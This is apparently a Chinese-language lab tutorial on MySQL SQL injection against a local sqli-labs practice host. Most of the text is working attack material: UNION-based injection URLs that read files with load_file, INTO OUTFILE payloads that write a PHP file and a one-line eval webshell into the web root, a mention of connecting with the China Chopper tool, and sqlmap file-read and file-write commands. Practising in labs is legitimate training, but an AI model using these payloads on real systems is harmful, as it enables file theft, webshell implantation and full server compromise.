原理啊,成因啊就不再啰嗦了,直接上实现过程。
一)环境:
攻击机:192.168.67.140
目标主机:192.168.67.143
二)实际操作:
利用mysql的读写文件函数进行文件的读取:
在目标主机的(win7-2)E盘下新建一个flag.txt文件,可以通过输入 select load_file("E:\\flag.txt");
命令读取指定路径下的flag.txt文件的内容:
在实际中通过漏洞利用进行文件读取:
在攻击机(win7-1)中访问存在SQL注入的网站(如目标主机win7-2中的sqli-labs)中构造url:
http://192.168.67.143/sqli/Less-1/?id=-1' union select 1,load_file("F:\\flag.txt"),3 --+ #一定要知道文件的绝对路径
2)MySQL注入写文件(要先知道目标主机相关绝对路径)
如果是实际的环境就会有一台攻击机(hacker机器)【192.168.67.140】,一台目标主机(目标用户的机器)【192.168.67.143】,然后攻击者在攻击机中访问 http://192.168.67.143/sqli/Less-7/?id=1')) order by 3 --+
,接着在攻击机中访问 http://192.168.67.143/sqli/Less-7/?id=1')) union select 1,'<?php phpinfo();?>',3 into outfile 'C:\\phpstudy\\PHPTutorial\\WWW\\sqli\\Less-7\\1.php' --+
此时就会在目标主机中写入一个攻击者想要写入的1.php文件,如果这个写入的文件是攻击者准备好的木马文件那么,目标主机就被写入了一个木马文件,那么攻击者就可以利用中国菜刀进行连接到目标主机获得其所有目录。
接着在存在SQL注入的网站(如sqli-labs)中构造url:
http://192.168.67.143/sqli/Less-7/?id=1')) order by 3 --+ 说明有3个字段位置
192.168.67.143/sqli/Less-7/?id=-1')) union select 1,'<?php phpinfo();?>',3 into outfile 'E:\\phpStudy\\WWW\\sqli\\Less-7\\1.php' --+
此时就将 phpinfo() 的内容写入到目标主机192.168.67.143 的 E:\phpStudy\WWW\sqli\Less-7 路径下并创建一个1.php文件
效果图:
原本 E:\phpStudy\WWW\sqli\Less-7 路径下没有1.php文件:
利用SQL注入写文件之后 E:\phpstudy\PHPTutorial\WWW\sqli\Less-7 路径下自动生成1.php文件:
此时可以使用攻击机浏览器访问192.168.67.143/sqli/Less-7/1.php:
3)写入webshell(一句话木马,并使用菜刀进行连接)
在攻击机中构造url:
192.168.67.143/sqli/Less-7/?id=-1')) union select 1,'<?php @eval($_POST["x"]);?>',3 into outfile 'E:\\phpStudy\\WWW\\sqli\\Less-7\\2.php' --+
此时就将一句话木马写入到目标主机192.168.67.143 的 E:\phpStudy\WWW\sqli\Less-7 路径下并创建一个2.php文件
接着利用中国菜刀连接:
此时就可以在攻击机中查看目标主机的完整目录。
4)sqlmap安全测试
python sqlmap.py -hh #查看详细的帮助信息
读文件:--file-read "要读取的文件所在绝对路径"
python sqlmap.py -u "http://192.168.67.140/sqli/Less-7/?id=1" --file-read "E://flag1.txt"
写文件(将本地文件上载到数据库服务器的文件系统):--file-write="要保存到服务器的本地文件(必须是在本地也就是攻击机中已经存在的文件)" --file-dest "本地也就是攻击机中已经存在的文件要在目标网站中保存的地址"
python sqlmap.py -u "http://192.168.67.140/sqli/Less-7/?id=1" --file-write="E://flag.txt" --file-dest "E://"
python sqlmap.py -u "http://192.168.67.140/sqli/Less-7/?id=1" --file-read "E://flag1.txt" --batch
结果:
python sqlmap.py -u "http://192.168.67.140/sqli/Less-7/?id=1" --file-write "E://flag.txt" --file-dest "E://target.txt" --batch